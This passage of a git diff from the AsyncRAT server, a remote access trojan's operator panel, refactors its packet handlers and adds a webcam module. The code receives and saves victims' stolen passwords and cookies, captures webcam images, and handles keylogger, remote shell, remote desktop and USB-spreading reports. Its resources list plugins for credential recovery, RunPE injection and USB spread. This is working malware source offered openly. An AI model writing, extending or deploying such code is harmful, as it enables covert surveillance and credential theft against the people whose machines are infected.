LV.SubItems.Add(Msg); - LV.ForeColor = color; Program.form1.listView2.Items.Insert(0, LV); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs index 2301b2c..0e4f93d 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Diagnostics; using System.Windows.Forms; @@ -9,22 +9,16 @@ namespace Server.Handle_Packet { public HandlePing(Clients client, MsgPack unpack_msgpack) { - if (Program.form1.listView1.InvokeRequired) + try { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - try - { - lock (Settings.Listview1Lock) - if (client.LV != null) - client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; - else - Debug.WriteLine("Temp socket pinged server"); - } - catch { } - })); + lock (Settings.Listview1Lock) + if (client.LV != null) + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + else + Debug.WriteLine("Temp socket pinged server"); } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs index 0aee30c..f863629 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Drawing; using System.IO; @@ -14,33 +14,27 @@ namespace Server.Handle_Packet { try { - if (Program.form1.InvokeRequired) + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (PM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + PM.listView1.Items.Clear(); + string processLists = unpack_msgpack.ForcePathObject("Message").AsString; + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < _NextProc.Length; i++) { - FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; - if (PM != null) + if (_NextProc[i].Length > 0) { - PM.listView1.Items.Clear(); - string processLists = unpack_msgpack.ForcePathObject("Message").AsString; - string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < _NextProc.Length; i++) - { - if (_NextProc[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_NextProc[i]); - lv.SubItems.Add(_NextProc[i + 1]); - lv.ToolTipText = _NextProc[i]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); - PM.imageList1.Images.Add(_NextProc[i + 1], im); - lv.ImageKey = _NextProc[i + 1]; - PM.listView1.Items.Add(lv); - } - i += 2; - } + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_NextProc[i]); + lv.SubItems.Add(_NextProc[i + 1]); + lv.ToolTipText = _NextProc[i]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); + PM.imageList1.Images.Add(_NextProc[i + 1], im); + lv.ImageKey = _NextProc[i + 1]; + PM.listView1.Items.Add(lv); } - })); + i += 2; + } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index 744a7ec..a351e83 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -26,11 +26,11 @@ namespace Server.Handle_Packet Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); } else { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); } } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index b846271..c5fbfbf 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -1,7 +1,7 @@ using Server.Forms; using Server.Helper; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Diagnostics; using System.Drawing; @@ -10,58 +10,52 @@ using System.Windows.Forms; namespace Server.Handle_Packet { - public class HandleRemoteDesktop + public class HandleRemoteDesktop { public void Capture(Clients client, MsgPack unpack_msgpack) { try { - if (Program.form1.InvokeRequired) + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try { - Program.form1.BeginInvoke((MethodInvoker)(() => + if (RD != null) { - FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; - try + if (RD.Client == null) { - if (RD != null) - { - if (RD.C2 == null) - { - RD.C2 = client; - RD.timer1.Start(); - byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); - RD.rdSize = decoded0.Size; - // RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2); - } - byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { - RD.pictureBox1.Image = (Bitmap)decoded; - RD.RenderSW = Stopwatch.StartNew(); - } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) - { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); - } - } - else - { - client.Disconnected(); - return; - } + RD.Client = client; + RD.timer1.Start(); + byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); + RD.rdSize = decoded0.Size; + RD.labelWait.Visible = false; } - catch (Exception ex) { Debug.WriteLine(ex.Message); } - })); + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + RD.pictureBox1.Image = decoded; + RD.RenderSW = Stopwatch.StartNew(); + } + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } + } + else + { + client.Disconnected(); + return; + } } + catch (Exception ex) { Debug.WriteLine(ex.Message); } } catch { } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs index b0ff3a4..7ea4a1e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -13,17 +13,11 @@ namespace Server.Handle_Packet { public HandleReportWindow(Clients client, string title) { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); - if (Program.form1.InvokeRequired) + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); + if (Properties.Settings.Default.Notification == true) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - if (Properties.Settings.Default.Notification == true) - { - Program.form1.notifyIcon1.BalloonTipText = $"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; - Program.form1.notifyIcon1.ShowBalloonTip(100); - } - })); + Program.form1.notifyIcon1.BalloonTipText = $"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; + Program.form1.notifyIcon1.ShowBalloonTip(100); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs index a749d6f..8468919 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -14,18 +14,12 @@ namespace Server.Handle_Packet { public HandleShell(MsgPack unpack_msgpack, Clients client) { - if (Program.form1.InvokeRequired) + FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; + if (shell != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; - if (shell != null) - { - shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); - shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; - shell.richTextBox1.ScrollToCaret(); - } - })); + shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); + shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; + shell.richTextBox1.ScrollToCaret(); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs index 6f599ba..ba0d820 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Diagnostics; using System.Drawing; using System.IO; @@ -13,37 +13,31 @@ namespace Server.Handle_Packet { try { - if (Program.form1.listView3.InvokeRequired) + if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") { - Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) { - if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + lock (Settings.Listview3Lock) { - client.LV2 = new ListViewItem(); - client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - client.LV2.ToolTipText = client.ID; - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - client.LV2.ImageKey = client.ID; - lock (Settings.Listview3Lock) - { - Program.form1.listView3.Items.Add(client.LV2); - } - } + Program.form1.listView3.Items.Add(client.LV2); } - else + } + } + else + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + lock (Settings.Listview3Lock) { - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - lock (Settings.Listview3Lock) - { - Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); - Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - } - } + Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); } - })); + } } } catch { } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs new file mode 100644 index 0000000..961d86a --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -0,0 +1,103 @@ +using Server.Forms; +using Server.Helper; +using Server.MessagePack; +using Server.Connection; +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Drawing.Imaging; + +namespace Server.Handle_Packet +{ + class HandleWebcam + { + public HandleWebcam(MsgPack unpack_msgpack, Clients client) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getWebcams": + { + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (webcam != null) + { + webcam.Client = client; + webcam.timer1.Start(); + foreach (string camDriver in unpack_msgpack.ForcePathObject("List").AsString.Split(new[] { "-=>" }, StringSplitOptions.None)) + { + if (!string.IsNullOrWhiteSpace(camDriver)) + webcam.comboBox1.Items.Add(camDriver); + } + webcam.comboBox1.SelectedIndex = 0; + webcam.labelWait.Visible = false; + if (webcam.comboBox1.Text != "None") + { + webcam.comboBox1.Enabled = true; + webcam.button1.Enabled = true; + webcam.btnSave.Enabled = true; + webcam.numericUpDown1.Enabled = true; + } + else + { + client.Disconnected(); + } + } + else + { + client.Disconnected(); + } + } + catch { } + break; + } + + case "capture": + { + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (webcam != null) + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Image image = (Image)Image.FromStream(memoryStream).Clone(); + if (webcam.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + webcam.pictureBox1.Image = image; + webcam.RenderSW = Stopwatch.StartNew(); + } + webcam.FPS++; + if (webcam.sw.ElapsedMilliseconds >= 1000) + { + if (webcam.SaveIt) + { + if (!Directory.Exists(webcam.FullPath)) + Directory.CreateDirectory(webcam.FullPath); + webcam.pictureBox1.Image.Save(webcam.FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); + } + webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString + " FPS:" + webcam.FPS + " Screen:" + image.Width + " x " + image.Height + " Size:" + Methods.BytesToString(memoryStream.Length); + webcam.FPS = 0; + webcam.sw = Stopwatch.StartNew(); + } + } + } + else + { + client.Disconnected(); + } + } + catch { } + break; + } + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index a5dd08a..2b86af3 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using Server.MessagePack; using System; using System.Diagnostics; @@ -7,6 +7,7 @@ using Server.Forms; using System.Security.Cryptography; using System.IO; using System.Windows.Forms; +using Server.Algorithm; namespace Server.Handle_Packet { @@ -22,123 +23,139 @@ namespace Server.Handle_Packet client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(data); - switch (unpack_msgpack.ForcePathObject("Packet").AsString) + if (Program.form1.InvokeRequired) { - case "ClientInfo": + Program.form1.BeginInvoke((MethodInvoker)(() => + { + try { - new HandleListView().AddToListview(client, unpack_msgpack); - break; - } + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "ClientInfo": + { + new HandleListView().AddToListview(client, unpack_msgpack); + break; + } - case "Ping": - { - new HandlePing(client, unpack_msgpack); - break; - } + case "Ping": + { + new HandlePing(client, unpack_msgpack); + break; + } - case "Logs": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); - break; - } + case "Logs": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); + break; + } - case "thumbnails": - { - new HandleThumbnails(client, unpack_msgpack); - break; - } + case "thumbnails": + { + new HandleThumbnails(client, unpack_msgpack); + break; + } - case "BotKiller": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); - break; - } + case "BotKiller": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + break; + } - case "usbSpread": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); - break; - } + case "usb": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + break; + } - case "recoveryPassword": - { - new HandleRecovery(client, unpack_msgpack); - break; - } + case "recoveryPassword": + { + new HandleRecovery(client, unpack_msgpack); + break; + } - case "Received": - { - new HandleListView().Received(client); - break; - } + case "Received": + { + new HandleListView().Received(client); + break; + } - case "Error": - { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); - break; - } - case "remoteDesktop": - { - new HandleRemoteDesktop().Capture(client, unpack_msgpack); - break; - } + case "Error": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); + break; + } + case "remoteDesktop": + { + new HandleRemoteDesktop().Capture(client, unpack_msgpack); + break; + } - case "processManager": - { - new HandleProcessManager().GetProcess(client, unpack_msgpack); - break; - } + case "processManager": + { + new HandleProcessManager().GetProcess(client, unpack_msgpack); + break; + } - case "socketDownload": - { - new HandleFileManager().SocketDownload(client, unpack_msgpack); - break; - } + case "socketDownload": + { + new HandleFileManager().SocketDownload(client, unpack_msgpack); + break; + } - case "keyLogger": - { - new HandleKeylogger(client, unpack_msgpack); - break; - } + case "keyLogger": + { + new HandleKeylogger(client, unpack_msgpack); + break; + } - case "fileManager": - { - new HandleFileManager().FileManager(client, unpack_msgpack); - break; - } + case "fileManager": + { + new HandleFileManager().FileManager(client, unpack_msgpack); + break; + } - case "shell": - { - new HandleShell(unpack_msgpack, client); - break; - } + case "shell": + { + new HandleShell(unpack_msgpack, client); + break; + } - case "chat": - { - new HandleChat(unpack_msgpack, client); - break; - } + case "chat": + { + new HandleChat(unpack_msgpack, client); + break; + } + + case "reportWindow": + { + new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); + break; + } + + case "webcam": + { + new HandleWebcam(unpack_msgpack, client); + break; + } + } - case "reportWindow": - { - new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); - break; } + catch + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong packet", Color.Red); + // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); // todo - create a mehtod to block spammers?? + client.Disconnected(); + return; + } + })); } } - catch (CryptographicException) + catch { - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red); - // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); client.Disconnected(); return; } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - return; - } } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Helper/AsyncTask.cs b/AsyncRAT-C#/Server/Helper/AsyncTask.cs index f8f6919..31273ad 100644 --- a/AsyncRAT-C#/Server/Helper/AsyncTask.cs +++ b/AsyncRAT-C#/Server/Helper/AsyncTask.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index f8434f3..77dd54c 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -80,20 +80,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8"?> - ///<configuration> - /// <configSections> - /// <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> - /// <section name="AsyncRAT_Sharp.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false"/> - /// </s [rest of string was truncated]";. - /// - internal static string AsyncRAT_Sharp_exe { - get { - return ResourceManager.GetString("AsyncRAT_Sharp_exe", resourceCulture); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -134,16 +120,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap circle_loading_gif { - get { - object obj = ResourceManager.GetObject("circle-loading-gif", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -204,16 +180,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] HandleLimeUSB { - get { - object obj = ResourceManager.GetObject("HandleLimeUSB", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -327,9 +293,49 @@ namespace Server.Properties { /// /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] Plugin { + internal static byte[] PluginCam { get { - object obj = ResourceManager.GetObject("Plugin", resourceCulture); + object obj = ResourceManager.GetObject("PluginCam", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginDesktop { + get { + object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginRecovery { + get { + object obj = ResourceManager.GetObject("PluginRecovery", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginRunPE { + get { + object obj = ResourceManager.GetObject("PluginRunPE", resourceCulture); + return ((byte[])(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] PluginUsbSpread { + get { + object obj = ResourceManager.GetObject("PluginUsbSpread", resourceCulture); return ((byte[])(obj)); } } @@ -404,16 +410,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] StealerLib { - get { - object obj = ResourceManager.GetObject("StealerLib", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -493,5 +489,15 @@ namespace Server.Properties { return ((System.Drawing.Bitmap)(obj)); } } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap webcam { + get { + object obj = ResourceManager.GetObject("webcam", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } } } diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index 9740179..efbdd7a 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -136,18 +136,12 @@ ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 - - - ..\Resources\Plugin.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\blank-screen.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\HandleLimeUSB.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\shell.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -157,9 +151,6 @@ ..\Resources\coding.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -175,12 +166,12 @@ ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\StealerLib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -217,14 +208,11 @@ ..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\blank-screen.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -238,13 +226,28 @@ ..\Resources\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, 